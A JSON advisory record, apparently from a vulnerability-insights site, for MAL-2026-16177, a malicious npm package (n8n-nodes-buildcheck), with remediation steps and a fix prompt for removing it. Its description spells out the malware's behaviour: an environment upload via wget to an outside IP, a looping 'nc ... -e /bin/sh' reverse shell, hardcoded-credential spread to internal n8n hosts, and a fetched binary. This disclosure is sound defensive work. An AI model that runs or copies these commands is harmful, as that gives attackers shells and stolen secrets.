{"answers":{"affected":"1 open source package ship an affected version, including n8n-nodes-buildcheck.","exploited":"There is no known exploitation of MAL-2026-16177 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-16177 is a malicious package in n8n-nodes-buildcheck, published on 15 Sep 2026."},"fix_prompt":"MAL-2026-16177 is a malicious package: n8n-nodes-buildcheck (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-16177/ (Markdown: https://insights.sbomify.com/MAL-2026-16177/index.md)","id":"MAL-2026-16177","markdown":"https://insights.sbomify.com/MAL-2026-16177/index.md","name":"MAL-2026-16177","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On npm install, postinstall.js collects the full environment, `id`, `hostname`, and `/proc/1/cgroup`/`status` into `/tmp/.be` and uploads it via `wget --post-file` to http://121.127.33.228:8443/env2. The same postinstall spawns a detached loop that repeatedly runs `nc 121.127.33.228 443 -e /bin/sh` with a 7-second reconnect interval, giving the remote party a persistent unauthenticated shell on the installer's host. It also attempts to authenticate to an internal n8n instance at http://10.0.3.2:5678 using a hardcoded credential and invokes `/rest/nodes/community/install` with `verify:false` to install a sibling package `n8n-nodes-sysdiag2`, extending compromise to adjacent n8n hosts. When n8n loads the community node, dist/SysDiag.node.js wgets an opaque binary from http://121.127.33.228:8444/mn8n2 into `/tmp/.mn2`, chmods it executable, and launches it detached.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in n8n-nodes-buildcheck (npm)","id":"MAL-2026-16177","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"n8n-nodes-buildcheck","purl":"pkg:npm/n8n-nodes-buildcheck","source":"MAL-2026-16177"}],"products":null,"published":"2026-09-15","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-16177/"}